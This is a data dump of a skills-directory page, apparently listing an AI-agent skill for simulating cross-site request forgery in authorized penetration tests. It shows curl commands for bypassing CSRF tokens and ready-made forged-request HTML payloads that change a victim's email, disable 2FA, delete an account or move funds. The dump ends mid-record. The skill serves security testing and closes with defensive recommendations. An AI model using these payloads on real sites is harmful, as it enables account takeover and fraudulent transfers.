[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9ST7W12T0W2876XFSFP59":3,"skill-same:01M7A9ST7W12T0W2876XFSFP59":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7A9ST7W12T0W2876XFSFP59","performing-csrf-attack-simulation",null,"Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-csrf-attack-simulation\ndescription: Testing web applications for Cross-Site Request Forgery vulnerabilities\n  by crafting forged requests that exploit authenticated user sessions during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- csrf\n- owasp\n- web-security\n- session-management\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n","# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","csrf","owasp","web-security","session-management","burpsuite","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45],"T1190","T1059.007","T1505.003","T1083","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-csrf-attack-simulation","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-csrf-attack-simulation",{"tool":59,"command":60},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-csrf-attack-simulation",{"tool":62,"command":63},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-csrf-attack-simulation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",2311,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-csrf-attack-simulation\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",8753,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-csrf-attack-simulation\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"ski